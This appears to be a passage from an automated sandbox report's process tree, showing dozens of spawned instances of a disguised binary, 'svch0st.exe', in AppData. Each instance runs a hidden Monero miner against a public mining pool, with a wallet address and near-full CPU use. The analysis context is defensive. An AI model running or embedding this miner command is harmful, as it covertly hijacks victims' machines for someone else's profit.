        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        247⤵
        
        PID:26528
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        248⤵
        
        PID:25656
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        249⤵
        
        PID:26644
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        250⤵
        
        PID:26756
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        251⤵
        
        PID:26852
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        252⤵
        
        PID:26932
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        253⤵
        
        PID:27056
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        254⤵
        
        PID:27156
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        255⤵
        
        PID:27248
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        256⤵
        
        PID:27348
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        257⤵
        
        PID:27460
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        258⤵
        
        PID:27576
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        259⤵
        
        PID:27324
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        260⤵
        
        PID:27720
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        261⤵
        
        PID:27824
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        262⤵
        
        PID:27932
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        263⤵
        
        PID:28032
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        264⤵
        
        PID:28124
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        265⤵
        
        PID:28232
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        266⤵
        
        PID:28352
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        267⤵
        
        PID:28472
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        268⤵
        
        PID:28576
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        269⤵
        
        PID:27836
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        270⤵
        
        PID:28704
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        271⤵
        
        PID:28800
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        272⤵
        
        PID:28900
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        273⤵
        
        PID:29120
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        274⤵
        
        PID:29216
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        275⤵
        
        PID:29348
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        276⤵
        
        PID:29452
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        277⤵
        
        PID:29544
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        278⤵
        
        PID:29632
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        279⤵
        
        PID:28992
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        280⤵
        
        PID:29360
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        281⤵
        
        PID:29748
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        282⤵
        
        PID:29840
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        283⤵
        
        PID:29936
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        284⤵
        
        PID:30020
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        285⤵
        
        PID:30132
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        286⤵
        
        PID:30256
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        287⤵
        
        PID:30344
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        288⤵
        
        PID:30452
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        289⤵
        
        PID:30568
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        290⤵
        
        PID:30676
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        291⤵
        
        PID:30168
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        292⤵
        
        PID:30780
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        293⤵
        
        PID:30912
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        294⤵
        
        PID:31016
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        295⤵
        
        PID:31136
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        296⤵
        
        PID:31256
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        297⤵
        
        PID:31380
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        298⤵
        
        PID:31508
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        299⤵
        
        PID:31640
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        300⤵
        
        PID:31044
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        301⤵
        
        PID:31788
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        302⤵
        
        PID:31884
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        303⤵
        
        PID:31972
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        304⤵
        
        PID:32084
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        305⤵
        
        PID:32180
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        306⤵
        
        PID:32272
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        307⤵
        
        PID:32388
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        308⤵
        
        PID:32508
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        309⤵
        
        PID:32600
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        310⤵
        
        PID:32720
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        311⤵
        
        PID:32612
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        312⤵
        
        PID:32880
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        313⤵
        
